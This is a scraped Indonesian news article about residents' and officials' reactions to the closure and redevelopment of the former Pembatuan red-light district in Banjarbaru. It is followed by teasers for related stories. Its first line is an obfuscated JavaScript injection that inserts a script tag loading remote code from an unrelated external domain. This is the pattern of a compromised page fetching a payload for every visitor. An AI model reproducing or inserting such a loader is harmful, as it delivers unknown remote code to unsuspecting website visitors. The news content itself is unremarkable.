(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Setelah resmi menutup kawasan lokalisasi Pembatuan, di Kecamatan Landasan Ulin, pada tahun 2016. Pemerintah Kota Banjarbaru dibawah kepemimpinan Wali Kota Nadjmi Adhani dan Wakil Walikota Darmawan Jaya Setiawan, telah membawa perubahan di kawasan ini untuk terus berkembang.
Lantas, bagaimana tanggapan dari tokoh, pejabat maupun masyarakat, setelah 4 tahun penutupan kawasan yang dulunya menjadi ‘primadona’ bagi pria dewasa tersebut? Berikut tanggapan mereka ;
Camat Landasan Ulin, Subhan ; “Seiring berjalannya waktu, pembangunan infrastruktur mulai tumbuh. Bisa dilihat bahwa kantor Kecamantan Landasan Ulin yang baru dibangun di kawasan ini. Misi bapak Wali Kota untuk membuat kawasan ini lebih terbuka harus kita dukung, sehingga ekonomi masyarakat di sini juga bisa tumbuh,”
Ketua RT 09, Jalan Kenanga Eks Lokalisasi Pembatuan, Hidayat ; “Dulu kawasan saya ini dipandang sebelah mata. Mikirnya pasti gak jauh dari prostitusi. Tapi, saya bersyukur di sini pemerintah memberikan perhatian lebih bagi kawasan ini. Saya selalu ketua RT berharap pemerintah dapat lebih membina dan menyejahterakan kami yang juga masyarakat kota Banjarbaru,”
Warga Jalan Kenanga, Nurudin ; “Saya sehari-hari bekerja sebagai tukang ojek. Sejak ditutupnya kawasan ini sebagai tempat lokalisasi, jujur saja penghasilan saya menurun. Saya berharap pemerintah bisa mencarikan solusi bagi kami, agar tidak bingung mencari nafkah,”
Warga Jalan Sidomulyo, Bella ; “Sebetulnya saya merasa aneh juga ada kantor layanan kesehatan di kawasan bekas lokalisasi ini. Dulu saya dengar kawasan ini banyak preman. Eh, pas tadi saya ke Puskesmas, ternyata aman aja kok. Salut buat pemerintah sudah merubah tempat ini,”
Warga Kelurahan Guntung Manggis, Raditya ; “Saya tadi ngurus KTP di kantor Kecamatan Landasan Ulin. Baru tau juga ternyata kantornya di Pembatuan. Waktu masuk, ternyata sudah berubah total. Soalnya, seingat saya di sini banyak PSK. Mudah-mudahan nggak ada lagi bisnis-bisnis prostitusi kaya gitu,“. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.